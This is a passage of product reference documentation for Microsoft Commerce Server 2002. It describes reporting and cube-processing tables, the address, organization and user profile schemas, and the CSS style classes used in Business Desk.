PartitionKeySource | Sysname | NULL |  | Specifies the name of the table that provides partition key values.
PartitionSize | Bigint | NULL | Validate that PartitionSize is greater than zero (0). | Specifies the key range that will be covered by the next partition added to the cube by auto-partitioning.
ProcessingEnabled | bit | NOT NULL | 1 | If True (1), the cube will be processed. If False (0), the cube will not be processed.
ProcessingKey | Sysname | NULL |  | Specifies the name of the column in the table defined in ProcessingKeySource, which will be used to identify new rows that have been added to this table. This column is used by incremental processing if the IncEnabled bit is set to 1.
ProcessingKeySource | Sysname | NULL |  | Specifies the name of the table that provides processing key values.
ProcessingPass | int | NOT NULL | 0 | The Report preparation DTS task groups cube processing operations into separate passes. All cubes in one pass are processed before cubes in the next pass are processed.


CubePartitionInfo Table

The CubePartitionInfo table defines the actual partitions within the cube and is used to track the processing state of data within the cube.

Attribute name | Data type | Constraint | Default | Description
CubeName | nvarchar (50) | NOT NULL |  | Specifies the name of the cube to be processed.
LastKeyProcessed | Sql_variant | NULL |  | Contains the maximum value of the fact table ProcessingKey that was added to this partition.
LastProcessedDate | datetime | NULL |  | Contains the datetime at which the last attempt to process the partition was made.
LastProcessedDescr | nvarchar (255) | NULL |  | Contains text describing the result of the last attempt to process the partition.
LastProcessedStatus | int | NULL |  | Contains the status of the last attempt to process the partition. Zero (0) for success.
LastSuccessfulDate | datetime | NULL |  | Contains the datetime of the last successful attempt to process the partition.
MaxVal | Sql_variant | NOT NULL |  | The maximum value for partitioning column values. Fact table rows with partitioning column values equal to or less than this value will be added to the partition.
MinVal | Sql_variant | NOT NULL |  | The minimum value for partitioning column values. Fact table rows with partitioning column values equal to or greater than this value will be added to the partition.
PartitionId | int | NOT NULL |  | Used internally to assign sequential partition names. This value does not necessarily correspond with the partition ordinal within the cube.
PartitionName | nvarchar(50) | NOT NULL |  | Specifies the name of the partition to be processed.
ProcessingEnabled | bit | NOT NULL | 1 | If True (1), the cube will be processed by the Report preparation DTS task. If False (0), the cube is not processed.
ProcessingState | int | NULL | 0 | Used internally by the Report preparation DTS task. If set to True (1), the processing state of the partition is indeterminate. All data within a partition will be refreshed if the ProcessingState is set to True (1).


DimProcInfo Table

The following table contains information used by the Report preparation DTS task to process shared dimensions. This table should be updated when shared dimensions are added or deleted.

Attribute name | Data type | Constraint | Default | Description
DimName | nvarchar (50) | NOT NULL | None | Dimension name.
IncEnabled | bit | NOT NULL | 1 | If True (1), the dimension will be processed incrementally. If False (0), the dimension data will always be fully refreshed, regardless of the task settings.
LastSuccessfulDate | datetime | NULL | None | Date and time that the dimension was last processed successfully.
LastProcessedDate | datetime | NULL | None | Date and time of the last attempt to process the dimension.
LastProcessedDescr | nvarchar (255) | NULL | None | Contains text describing the result of the last attempt to process the dimension.
LastProcessedStatus | int | NULL | None | Status of the last attempt to process the dimension. If 0, the cube was processed successfully.
Ordinal | int | NULL | None | Specifies the order in which the dimension is to be processed by the Report preparation DTS task.
ProcessingEnabled | bit | NOT NULL | 1 | If True (1), the dimension will be processed. If False (0), the dimension will not be processed.


StoredProcInfo Table

The following table contains information used by the Report preparation DTS task to run stored procedures. This table should be updated when stored procedures needed for reporting are added or deleted.

Attribute name | Data type | Constraint | Default | Description
Name | nvarchar (150) | NULL | None | Name of the stored procedure.
Ordinal | int | NULL | None | Specifies the order in which the stored procedure will be processed by the Report preparation DTS task.
ProcessingEnabled | bit | NULL | 1 | If True (1), the stored procedure will be processed. If False (0), the procedure will not be processed.


ReportPreExec Table

The following table contains information used by the Report caching DTS task to run OLAP reports. To change the reports or the order in which the Report caching DTS task runs, you add, remove, or change rows in the ReportPreExec table.

Attribute name | Data type | Constraint | Default | Description
ReportID | int | NOT NULL |  | The report ID to be run. Any report ID can be specified, but only reports of type 1 (dynamic OLAP) will be processed by the Report caching DTS task.
Ordinal | int | NOT NULL |  | The order in which to run reports.


Table Usage by Report Type

The following table shows which report tables are used to create the different report types.

Report type | StaticSQL | StaticMDX | DynamicSQL | DynamicMDX | GroupedSQL | GroupedMDX
Design-time table |  |  |  |  |  |
Report | X | X | X | X | X | X
ReportDimension | X | X |  |  | X | X
ReportParam | X | X |  |  | X | X
Run-time table |  |  |  |  |  |
GroupReportJob |  |  |  |  | X | X
GroupReportStatus |  |  |  |  | X | X
GroupReportDbObject |  |  |  |  | X | X
ReportInstanceDbObject | X |  |  |  | X |
ReportInstanceParam | X | X |  |  | X | X
ReportStatus | X | X |  |  |  |


Profiles Schema

The profiles schema defines the structure of profiles. Profiles represent business objects (site users, customers, trading partners, and so on) and correspond to classes in the Commerce Server Data Warehouse.

This topic describes the profiles schema included with Microsoft Commerce Server 2002. The ability to extend or delete these schemas is available through the Profile Designer in Commerce Server Business Desk. The Profiles resource in Commerce Server Manager provides the functionality to create new schemas.

This section contains:

  • Conventions. Explains the table entries used to describe the profiles.
  • Address Profile Schema. Defines a structure for address entities.
  • Organization Profile Schema. Defines a structure for organization entities.
  • UserObject Profile Schema. Defines a structure for registered and anonymous user entities.

See Also

Profiling System Objects

Profile XML Structures

ProfileObject Object

ProfileService Object


Conventions

This section explains the table entries used to describe the logical profiles schema.

Data Type

This column indicates the data type of the property. For pre-defined profiles, a logical property is mapped to a physical property of the same name, prefixed with the first letter of the data type and an underscore (for example, the logical address_id, a GUID data type, is mapped to the physical g_address_id).

Exported (Exp)

True (1) indicates the property is exported into the Data Warehouse by the Commerce Server 2002 User Import DTS Task. The DTS task extends the Data Warehouse schema to accommodate any new properties. This property is set in the IsExported attribute of the Property element of the XML representation. If IsExported is set to True (1) for at least one property of the profile definition, then the date_last_changed property must be defined on the profile definition.

Group

A group is a collection of related profile properties, for example, a group named GeneralInfo could be a group containing Name, Address, and Phone properties. Group names must be unique to the profile. Property names, even across different groups, must also be unique. Profile properties are accessed either by their names or in combination with their group name in the format Group.Property (for example, GeneralInfo.address_line1).

Required (Req)

This column indicates whether the property is required.


Address Profile Schema

An instance of this profile schema stores both user and organization addresses. The profile is mapped to the physical Addresses table. The Commerce Server 2002 User Import DTS Task extends and exports data into the Data Warehouse for properties with the Exported (Exp) attribute marked as True (1). The Data Warehouse class into which the Address profiles are exported is set through the DWClassName attribute of the Address profile, and defaults to Address. For information about the table entries, see Conventions.

Property Name | Data Type | Req | Exp | Group | Display Name/ Description
address_id (primary and join key) | GUID | T | T | General Info | Address ID Supplied by the system
address_line1 | Unicode String | T | F | General Info | Address line 1
address_line2 | Unicode String | F | F | General Info | Address line 2
address_name | Unicode String | F | T | General Info | Address name
address_type | Integer | F | T | General Info | Address type 0 – Address 1 – ShipTo address 2 – BillTo address
city | Unicode String | F | T | General Info | City
country_code | Unicode String | T | T | General Info | Country/region (ISO) code
country_name | Unicode String | F | T | General Info | Country/region name
date_created | Date Time | F | T | Profile System | Date created The default is getdate()
date_last_changed | Date Time | F | T | Profile System | Date last changed The default is getdate()
description | Unicode String | F | F | General Info | Description
first_name | Unicode String | F | T | General Info | (User) first name
id | GUID | F | F | General Info | ID of the organization/user to which this entry refers
last_name | Unicode String | F | T | General Info | (User) last name
locale | Integer | F | F | General Info | Locale ID Locale (character set) in which to render the address form
postal_code | Unicode String | T | T | General Info | Postal (ZIP) code
region_code | Unicode String | T | T | General Info | Country/region or state/province code
region_name | Unicode String | F | T | General Info | Country/region or state/province name
tel_extension | Unicode String | F | T | General Info | Telephone (number) extension
tel_number | Unicode String | F | T | General Info | Telephone number at this address
user_id_changed_by | Unicode String | F | F | General Info | Changed by Person making the last change


Organization Profile Schema

An instance of this profile schema stores data about organizations (trading partners, home companies, subsidiaries, and so on). This profile is not imported into the Data Warehouse by default. For information about the table entries, see Conventions.

Property Name | Data Type | Req | Exp | Group | Display Name/ Description
org_id (join key) | GUID | T | F | General Info | Organization ID Supplied by the system
name (primary key) | Unicode String | T | F | General Info | Name
date_created | Date Time | F | F | Profile System | Date created The default is getdate()
date_last_changed | Date Time | F | F | Profile System | Date last changed The default is getdate()
org_catalog_set | Unicode String | F | F | General Info | Organization catalog set Specific to the organization
trading_partner_number | Unicode String | F | F | General Info | Trading partner number Assigned by the supplier to the customer organization to represent an account number
user_id_admin_contact | GUID | F | F | General Info | Administrative contact
user_id_changed_by | GUID | F | F | General Info | Changed by Person making the last change
user_id_purchasing_manager | GUID | F | F | Purchasing | Purchasing manager of the buying organization
user_id_receiver | GUID | F | F | General Info | Receiver The default person to receive products shipped from the supplier


UserObject Profile Schema

An instance of this profile schema stores information about both registered and anonymous users. The Commerce Server 2002 User Import DTS task extends and exports data into the Data Warehouse for properties with the Exported (Exp) attribute marked as True (1). The Data Warehouse class into which the UserObject profiles are exported is set through the DWClassName attribute of the UserObject profile, and defaults to RegisteredUser. For information about the table entries, see Conventions.

Property Name | Data Type | Req | Exp | Group | Display Name/ Description
user_id (join key) | GUID | T | T | General Info | User ID Supplied by the system by default
logon_name (primary key) | Unicode String | T | T | General Info | Logon name User principal name (Commerce Server Business Desk/Partner Desk sets to e-mail by default)
account_status | Integer | F | T | Account Info | Account status Windows account status bitmask (including active/inactive)
date_created | Date Time | F | T | Profile System | Date created The default is getdate()
date_last_changed | Date Time | F | T | Profile System | Date changed The default is getdate()
date_registered | Date Time | F | T | Account Info | Date (and time) registered on the site
email_address | Unicode String | F | T | General Info | E-mail (address)
fax_extension | Unicode String | F | F | General Info | Fax (number) extension
fax_number | Unicode String | F | F | General Info | Fax number
first_name | Unicode String | F | T | General Info | First name
last_name | Unicode String | F | T | General Info | Last name
org_id | GUID | F | F | General Info | Organization ID to which the user belongs
partner_desk_role | Integer | F | F | Business Desk | PartnerDeskRoleFlags Role ID for the user
tel_extension | Unicode String | F | F | General Info | Telephone extension
tel_number | Unicode String | F | T | General Info | Telephone number
user_catalog_set | Unicode String | F | F | Account Info | User catalog set
user_id_changed_by | GUID | F | F | General Info | Changed by Person making the last change
user_security_password | Unicode String | F | F | General Info | User password To identify and authenticate the user
user_title | Unicode String | F | F | General Info | User title (For example, "Purchase Manager")
user_type | Integer | F | T | General Info | User type 0 = Anonymous 1 = Registered (default)


Style Sheet Reference

Customizable style sheets, found in files with .css extensions, allow the appearance of whole classes of visual HTML elements to be controlled from one centralized location. Commerce Server Business Desk and Dynamic Reports make extensive use of style sheet files to control the look of the content and navigation panes, to define distinct style themes, and to provide alternative language input for certain HTML controls (HTCs).

Notes

  • Extreme care should be exercised when changing styles since unwanted effects may be caused in other areas of Business Desk.
  • Some of the styles defined in these two .css files are no longer used. If they are not listed in this reference, you should assume that they are obsolete.

Since there are hundreds of styles defined in these two files, this reference provides a logical division and brief explanation of these styles.

This section contains:

  • Business Desk Styles.
  • Dynamic Report Styles.


Business Desk Styles

This section contains:

  • Business Desk Style Files. Provides information about the style sheet and ASP files that are used in the Business Desk to define styles, themes, and alternative language input for HTCs.
  • Content Pane Styles. Provides information about the styles designed for controlling the look of the content pane, as defined in the files default_bizdesk.css and hicont_bizdesk.css.
  • Navigation Pane Styles. Provides information about the styles designed for controlling the look of the navigation pane, as defined in the files default_navtree.css and hicont_navtree.css.


Business Desk Style Files

The following table describes the various files that are related to the definition and management of styles for Commerce Server Business Desk.

File name | Description
include\bizdesk.css | Included by action pages to define the styles that they use within the content pane. This file imports the file bizdesk_css.asp, which in turn will include the content pane styles for the theme that the user has chosen (or to the default theme).
include\navtree.css | Included by the file navtree.asp to define the styles that it uses within the navigation pane. This file imports the file navtree_css.asp, which in turn will include the navigation pane styles for the theme that the user has chosen (or to the default theme).
include\styles\bizdesk_css.asp | Imported by the file bizdesk.css, this file will redirect to the content pane style sheet file corresponding to the theme that the user has chosen (or to the default theme).
include\styles\navtree_css.asp | Imported by the file navtree.css, this file will redirect to the navigation pane style sheet file corresponding to the theme that the user has chosen (or to the default theme).
include\styles\default_bizdesk.css | Defines the default styles for the Commerce Server Business Desk content pane. For specific information about these styles, see Content Pane Styles.
include\styles\default_navtree.css | Defines the default styles for the Business Desk navigation pane. For specific information about these styles, see Navigation Pane Styles.
include\styles\hicont_bizdesk.css | Defines the high contrast styles for the Business Desk content pane. For specific information about these styles, see Content Pane Styles. High contrast styles are provided to improve accessibility.
include\styles\hicont_navtree.css | Defines the high contrast styles for the Business Desk navigation pane. For specific information about these styles, see Navigation Pane Styles. High contrast styles are provided to improve accessibility.
include\styles\en_widgets.css | Defines English language styles (fonts, and so on) for various HTML control (HTC) input fields.
include\styles\chs_widgets.css | Defines SimplifiedChinese language styles (fonts, and so on) for various HTML control (HTC) input fields.
include\styles\cht_widgets.css | Defines Traditional Chinese language styles (fonts, and so on) for various HTML control (HTC) input fields.
include\styles\jp_widgets.css | Defines Japanese language styles (fonts, and so on) for various HTML control (HTC) input fields.
include\styles\ko_widgets.css | Defines Korean language styles (fonts, and so on) for various HTML control (HTC) input fields.
welcome.asp | Contains the code that provides the theme choice drop-down list on the Business Desk welcome page. This file contains instructional comments about how to add new, custom themes to Business Desk.


Content Pane Styles

The customizable style sheet file (CSS), Bizdesk.css, indirectly defines the styles used within the content pane of Commerce Server Business Desk. It imports a file, bizdesk_css.asp, that contains a small amount of code that redirects to one of several other CSS files that define the actual styles used in the content pane. These latter files have names of the form "*_bizdesk.css". Two such files are included in Commerce Server 2002: default_bizdesk.css and hicont_bizdesk.css. The former defines the default content pane styles and the latter defines high contrast versions of the content panes styles that improve accessibility. New themes are created by creating additional files that conform to the naming scheme and that define the contained styles differently.

The content pane styles can be divided into two broad categories. First, those styles that apply directly to the action page being displayed in the content pane. And second, those styles that apply to one of the HTML components (HTCs) that are commonly used in the action pages.

This section provides further detail about each of these categories.

This section contains:

  • Action Page Styles. Describes the action page styles defined in the CSS files with names of the form "*_bizdesk.css".
  • HTML Component Styles. Describes the HTC styles defined in the CSS files with names of the form "*_bizdesk.css".


Action Page Styles

Action page styles can be divided into five basic categories: styles that apply to the overall action pages, title bar styles, task bar styles, status bar styles, and find pane styles. This section provides further details based on this division.

This section contains:

  • Base Action Page Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply directly to the action page.
  • Title Bar Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply to the title bar.
  • Task Bar Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply directly to the task bar.
  • Status Bar Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply directly to the status bar.
  • Find Pane Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply directly to the find pane.
  • Context Menu Styles. Provides information about the styles in the CSS files with names of the form "*_bizdesk.css" that apply directly to the task context menu.

Base Action Page Styles

Action pages in Commerce Server Business Desk have certain basic styles to which they conform, allowing them to be changed centrally, in the file Bizdesk.css.

These styles are defined for certain HTML elements, and also for elements associated with particular class and id attribute values. These three categories of styles are discussed separately below.

Element Styles

A
Defines style characteristics used when rendering an anchor element.
BODY
Defines base style characteristics used when rendering a body element.
BUTTON
Defines style characteristics used when rendering a button element.
DIV
Defines style characteristics used when rendering a DIV element.
FORM
Defines style characteristics used when rendering a form.
H1
Defines style characteristics used when rendering a first-level heading.
H2
Defines style characteristics used when rendering a second-level heading.
H3
Defines style characteristics used when rendering a third-level heading.
H4
Defines style characteristics used when rendering a fourth-level heading.
H5
Defines style characteristics used when rendering a fifth-level heading.
H6
Defines style characteristics used when rendering a sixth-level heading.
INPUT
Defines style characteristics used when rendering a single line text box element.
LABEL
Defines style characteristics used when rendering a label element.
OPTION
Defines style characteristics used when rendering a selection option element.
P
Defines style characteristics used when rendering a paragraph.
SELECT
Defines style characteristics used when rendering a selection element.
SPAN
Defines style characteristics used when rendering a span element.
SPAN.bdexpandicon
Defines style characteristics used when rendering a span element that has had the class "bdexpandicon" associated with it. The "bdexpandicon" class is used for elements that contain the characters "3", "4", "5", or "6" that are displayed with the Webdings font to produce left, right, up, or down arrows, respectively.
STRONG
Defines style characteristics used when rendering the content that has been designated as strong.
TD
Defines style characteristics used when rendering a normal table cell.
TEXTAREA
Defines style characteristics used when rendering a multi-line text box element.
TH
Defines style characteristics used when rendering a table heading cell.

Class Styles

.bdbutton
Defines a base style for shared characteristics used when rendering buttons in the content pane. This class should be used for any buttons displayed anywhere in Business Desk.
.bdDebug
Defines style characteristics applied to debug text when debugging is enabled by setting the global variable SHOW_DEBUG_TEXT to True in the file Global.asa.
.editPageContainer
Defines style characteristics used when rendering the main page containing element (usually a DIV) on an edit page.
.waitDisplay
Defines style characteristics used when rendering the wait display in the content pane, the ExpressionBuilder HTC, or the ListSheet HTC.
.waitDisplay SPAN
Defines style characteristics used when rendering the wait display within a SPAN element in the content pane, ExpressionBuilder HTC, or ListSheet HTC.
.webdings
Defines style characteristics used when rendering an element using the webding font. The "webdings" class is most often used for elements that contain the characters "3", "4", "5", or "6" that are displayed with the Webdings font to produce left, right, up, or down arrows, respectively.

ID Styles

#bdcontentarea
Defines style characteristics used when rendering the content area containing element (usually a DIV) on an action page, located between the task bar and the status bar.
#bdwaitdisplay IMG
Defines style characteristics used when rendering the wait display image in the content pane.

Title Bar Styles

The following styles are associated with the title bar, using the class and id attributes.

Class Styles

.bdcolorbar
Defines style characteristics used when rendering the colored title bar and status bar that distinguishes list pages from edit pages.
.bdcolorbar IMG
Defines style characteristics used to show or hide the title bar image within the colored title bar.
.bdeditmode .bdcolorbar
Defines style characteristics used when rendering the colored title bar and status bar on edit pages.
.bdeditmode .bdcolorbar IMG
Defines style characteristics used when rendering the page title bar image within the colored title bar on edit pages.

ID Styles

#bdtitlebar
Defines style characteristics used when rendering the title bar.
#bdtitletext
Defines style characteristics used when rendering the page title text within the title bar.

Task Bar Styles

The following styles are associated with the task bar, using the class and id attributes.

Class Styles

.bdtaskbutton
Defines style characteristics used when rendering a task button without text.
.bdtaskbutton IMG
Defines style characteristics used when rendering the task icon image within a task button without text.
.bdtaskbuttonmenu
Defines style characteristics used when rendering a drop-down task button without text.
.bdtaskbuttonmenu IMG
Defines style characteristics used when rendering the task icon image within a drop-down task button without text.
.bdtasktextbutton
Defines style characteristics used when rendering a task button with text.
.bdtasktextbutton IMG
Defines style characteristics used when rendering the task icon image within a task button with text.
.bdtasktextbuttonmenu
Defines style characteristics used when rendering a drop-down task button with text.
.bdtasktextbuttonmenu IMG
Defines style characteristics used when rendering the task icon image within a drop-down task button with text.
.bdtaskdisabled
Defines style characteristics used when rendering a task as disabled.
.bdtaskdisabled IMG
Defines style characteristics used when rendering the task icon image within a disabled task.
.bdtaskmenu
Defines style characteristics used when rendering a task menu.
.bdtaskmenu DIV
Defines style characteristics used when rendering a menu item within a task menu.
.bdtaskpress
Defines style characteristics used when rendering a pressed (clicked) task button.
.bdtasktable
Defines style characteristics used when rendering the table that contains the task buttons.
.bdtasktable TD
Defines style characteristics used when rendering the cells within the table that contains the task buttons.
.bdtasktextbutton
Defines style characteristics used when rendering text-based task button (when no task icon is defined).
BUTTON.bdtaskdisabled
Defines style characteristics used when rendering a task button as disabled.
BUTTON.bdtaskover
Defines style characteristics used when rendering a task button with the mouse hovering over it.

ID Styles

#bdhelparea
Defines style characteristics used when rendering the help button area, located at the right end of the task bar.
#bdlanguageselect
Defines style characteristics used when rendering the language choice select control, located to the left of the module-specific task buttons and to the right of the help button. Most modules do not add any content to this control, keeping it from appearing; catalog and shipping modules are the exceptions.
#bdtaskarea
Defines style characteristics used when rendering the task button area, located at the left end of the task bar.
#bdtaskbar
Defines style characteristics used when rendering the entire task area, including the areas associated with the id attribute values "bdtaskarea" and "bdhelparea".
#bdtaskbtnhelp
Defines style characteristics used when rendering the help button, located at the right end of the task bar.

Status Bar Styles

The following styles are associated with the status bar, using the class and id attributes.

Class Styles

.bdcolorbar
Defines style characteristics used when rendering the colored title bar and status bar that distinguishes list pages from edit pages.
.bdcolorbar IMG
Defines style characteristics used to show or hide the title bar image within the colored title bar.
.bdeditmode .bdcolorbar
Defines style characteristics used when rendering the colored title bar and status bar on edit pages.
.bdeditmode .bdcolorbar IMG
Defines style characteristics used when rendering the page title bar image within the colored title bar on edit pages.

ID Styles

#bdstatusbar
Defines style characteristics used when rendering the status bar at the bottom of the right pane.
#bdstatusbar IMG
Defines style characteristics used when rendering the animated loading image within the status bar.
#bdstatusbar NOBR
Defines style characteristics used when rendering text within a NOBR element in the status bar.

Find Pane Styles

The following styles are associated with the find pane, using the class and id attributes.

Class Styles

DIV.filtertext
Defines style characteristics used when rendering a DIV element associated with the class attribute value "filtertext". This class is used to format the "Filtered View" text displayed over a filtered list.
.findByContent
Defines style characteristics used to render the element that will be displayed in the find pane. This style should be used on an element of a list page that has the class attribute value "bdfindbycontent" and contains all the UI controls to be displayed in the find pane.

ID Styles

#bdfindbybody
Defines style characteristics used when rendering the portion of the find pane below the title. This is the container drawn by the InsertTaskBar and InsertEditTaskbar routines within which the "id=bdfindbycontent" element for a list page will be displayed.
#bdfindbyclose
Defines style characteristics used when rendering the right-hand portion of the find pane containing the close button.
#bdfindbycontent
Defines style characteristics used when rendering the find by content on a page within the find pane. The element with id "bdfindbycontent" should contain all the UI controls to be displayed in the find pane. It should also have "findByContent" set as its class attribute.
#bdfindbytitle
Defines style characteristics used when rendering the portion of the title text on the left side of the find pane title bar.
#bdfindbytitlebar
Defines style characteristics used when rendering the portion of the find pane containing the title text and the close button.
DIV#bdfindby
Defines style characteristics used when rendering the DIV element containing the entire find pane including the title bar and find content area.
#bdtaskbtnfindclose
Defines style characteristics used when rendering the find pane close button (the "x" in the upper right corner of the find pane).

Context Menu Styles

The following styles are associated with the context menu, using the class attributes.

Class Styles

.bdcontextmenu
Defines style characteristics used when rendering a task context menu for an action page.
.bdcontextmenuitem
Defines style characteristics used when rendering an item within a task context menu.
.bdcontextmenuitem U
Defines style characteristics used when rendering any underlined portions of an item within a task context menu. Specifically, the underlining is suppressed.
.bdcontextmenuitemhighlight
Defines style characteristics used when rendering a highlighted item within a task context menu.
.bdcontextmenuitemhighlight U
Defines style characteristics used when rendering any highlighted and underlined portions of an item within a task context menu. Specifically, the underlining is suppressed.


HTML Component Styles

HTML Component (HTC) styles can be divided into basic categories according to the type of HTC to which they apply. This section provides further details based on this division.

This section contains:

  • Calendar HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the Calendar HTC used in the drop-down list for the date type EditField HTC.
  • DynamicTable HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the DynamicTable HTC.
  • EditField HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the EditField HTC.
  • EditSheet HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the EditSheet HTC.
  • ExpressionBuilder HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the ExpressionBuilder HTC.
  • ListBox HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the ListBox HTC.
  • ListEditor HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the ListEditor HTC.
  • ListSheet HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the ListSheet HTC.
  • QueryBuilder HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the QueryBuilder HTC.
  • TreeView HTC Styles. Provides information about the styles in the file Bizdesk.css that apply to the TreeView HTC.

Calendar HTC Styles

The following styles are associated with the Calendar HTC, using the class attribute. Add the "calendar" class attribute value to an element to create a Calendar HTC instance.

Class Styles

.calendar
Associates an element with the DHTML behavior implemented in the file Calendar.htc. This is used to create a calendar control within the drop-down of the date type EditField HTC.
.WholeCalendar
Defines style characteristics used when rendering the containing table that makes up the Calendar HTC as a whole.
.WholeCalendar .CalTable
Defines style characteristics used when rendering the table containing the grid of days in the Calendar HTC.
.WholeCalendar .DateControls
Defines style characteristics used when rendering the table cell that contains the month and year controls at the top of the Calendar HTC.
.WholeCalendar .Day
Defines style characteristics used when rendering a day cell that is a day in the current month being displayed, and which is not currently selected.
.WholeCalendar .DaySelected
Defines style characteristics used when rendering the currently selected day cell in the Calendar HTC.
.WholeCalendar .DayTitle
Defines style characteristics used when rendering the weekday title cells at the top of the day grid in the Calendar HTC.
.WholeCalendar .OffDay
Defines style characteristics used when rendering a day cell that is either one of the last days of the previous month or one of the first days of the next month instead of a day in the month currently being displayed.

DynamicTable HTC Styles

The following styles are associated with the DynamicTable HTC, using the class attribute. Add the "dynamictable" class attribute value to an element to create a DynamicTable HTC instance.

Class Styles

.dtBtn
Defines style characteristics used when rendering the Accept, Cancel, New, and Remove buttons within the DynamicTable HTC.
.dtContainer
Defines style characteristics used when rendering the main container DIV element for the DynamicTable HTC.
.dtDataRow TD.dtCell
Defines style characteristics used when rendering a normal table cell in the data table for the DynamicTable HTC.
.dtHeaderTable TD
Defines style characteristics used when rendering a normal table cell in the header row of the DynamicTable HTC.
.dtHeaderTable TR
Defines style characteristics used when rendering the header row of the DynamicTable HTC.
.dtTableStyle
Defines style characteristics used when rendering the main table element for the DynamicTable HTC.
.dtTableStyle .dtDataRow
Defines style characteristics used when rendering a row of data in the DynamicTable HTC.
.dtTableStyle .efDisabled
Defines style characteristics used when rendering a disabled EditField HTC in the control row of the DynamicTable HTC.
.dtTableStyle .lsRowOver TD
Defines style characteristics used when rendering normal table data with the mouse hovering over it within the DynamicTable HTC.
.dtTableStyle DIV.dtContainer
Defines style characteristics used when rendering the main container DIV element within the DynamicTable HTC.
.dtTableStyle TH.dtCell
Defines style characteristics used when rendering a table heading cell in the DynamicTable HTC.
.dtTableStyle TR.lsRowSelected INPUT
Defines style characteristics used when rendering a selected single line text box in the DynamicTable HTC (an HTML INPUT element of type "password" is used to display data in a password type column so that "*" characters are displayed instead of the password text).
.dtTableStyle TR.lsRowSelected TD
Defines style characteristics used when rendering a selected data table cell.
.dynamicTable
Associates an element with the DHTML behavior implemented in the file DynamicTable.htc.
.efField
Defines common style characteristics used when rendering various types of EditField HTCs within the EditSheet and DynamicTable HTCs.
.efHide
Defines style characteristics used when hiding EditField HTC cells in the DynamicTable HTC.

EditField HTC Styles

The following styles are associated with the EditField HTC, using the class attribute. Add the "editfield" class attribute value to an element to create an EditField HTC instance. The node type in the EditField metadata used to describe a particular instance will determine which sub-control type HTC will be associated with the instance (for example, "efText", "efDate", and so on).

Class Styles

.editField
Associates an element with the DHTML behavior implemented in the file EditField.htc.
.efBoolean
Associates an element with the DHTML behavior implemented in the file efBoolean.htc.
.efBoolean INPUT
Defines style characteristics used when rendering the check box that is the child of a Boolean type EditField HTC.
.efBorderless
Defines style characteristics that eliminate any borders on the input element within and EditField HTC.
.efBrowseReadOnly
Defines style characteristics used when rendering elements within any EditField HTC that are defined to require the use of a corresponding browse button.
.efBrowseReadOnly INPUT
Defines style characteristics used when rendering single line text boxes that are defined to require the use of a corresponding browse button within any EditField HTC.
.efBrowseReadOnly TEXTAREA
Defines style characteristics used when rendering multi-line text boxes that are defined to require the use of a corresponding browse button within any EditField HTC.
.efDate
Associates an element with the DHTML behavior implemented in the file efDate.htc.
.efDatePicker
Defines style characteristics used when rendering the dropdown in the date type EditField HTC that reveals the calendar when clicked.
.efDisabled
Defines style characteristics used when rendering an EditField HTC element that has been designated as disabled.
.efDisabled INPUT
Defines style characteristics used when rendering a single line text box within an EditField HTC that has been designated as disabled.
.efDisabled LABEL
Defines style characteristics used when rendering a LABEL element within a Boolean type EditField HTC that has been designated as disabled.
.efDisabled TD DIV
Defines style characteristics used when rendering a display name within a select type EditField HTC that has been designated as disabled.
.efDisabled TEXTAREA
Defines style characteristics used when rendering a multi-line text box within a long text type EditField HTC that has been designated as disabled.
.efDownBtn
Defines style characteristics used when rendering the down button associated with the calendar and select type EditField HTCs.
.efDropDown
Defines style characteristics used when rendering the dropdown DIV element associated with the calendar and select type EditField HTCs.
.efEllipsisBtn
Defines style characteristics used when rendering the browse button that can be associated with any of the EditField HTCs.
.efField
Defines common style characteristics used when rendering various types of EditField HTCs within the EditSheet and DynamicTable HTCs.
.efHide
Defines style characteristics used when hiding EditField HTC cells in the DynamicTable HTC.
.efInvalid
Defines style characteristics used when rendering EditField HTCs that contain invalid data or are required and contain an empty value.
.efInvalid INPUT
Defines style characteristics used when rendering a single line text box that contains invalid data or is required and contain an empty value.
.efInvalid LABEL
Defines style characteristics used when rendering a label associated with a Boolean check box that contains invalid data and contains an empty value.
.efInvalid TD DIV
Defines style characteristics used when rendering a display name within a select type EditField HTC that contains invalid data or is required and contains an empty value.
.efInvalid TEXTAREA
Defines style characteristics used when rendering a multi-line text box within a long text type EditField HTC that contains invalid data or that is required and contains an empty value.
.efNumeric
Associates an element with the DHTML behavior implemented in the file efNumeric.htc.
.efOption
Defines style characteristics used when rendering options in a select type EditField HTC dropdown list.
.efOptionSelect
Defines style characteristics used when rendering selected options in a select type EditField HTC dropdown list.
.efPrompt
Defines style characteristics used when rendering prompt text within an EditField HTC.
.efReadOnly
Defines style characteristics used when rendering read-only EditField HTCs.
.efReadOnly INPUT
Defines style characteristics used when rendering a read-only single line text box in an EditField HTC.
.efReadOnly LABEL
Defines style characteristics used when rendering a label associated with a read-only Boolean check box in an EditField HTC.
.efReadOnly TD DIV
Defines style characteristics used when rendering a display name within a read-only select type EditField HTC.
.efReadOnly TEXTAREA
Defines style characteristics used when rendering a read-only multi-line text box in a long text type EditField HTC.
.efReadWrite
Defines style characteristics used when rendering read/write EditField HTCs.
.efSelect
Associates an element with the DHTML behavior implemented in the file efSelect.htc.
.efSelectScroll
Defines style characteristics used when rendering a scrollable select type EditField HTC. Select type EditField HTCs that have more than six options will use this style while ones that have fewer options will not.
.efText
Associates an element with the DHTML behavior implemented in the file efText.htc when the subtype is "short" or "password", and defined to be one line tall.
.efTextLong
Associates an element with the DHTML behavior implemented in the file efText.htc when the subtype is "long", and defined to be multiple lines tall.
.efTextLong .efPrompt
Defines style characteristics used when rendering the prompt text within a long text type EditField HTC.
.efTextLong TEXTAREA
Defines style characteristics used when rendering the multi-line text box within a long text EditField HTC.
.efTime
Associates an element with the DHTML behavior implemented in the file efTime.htc.

EditSheet HTC Styles

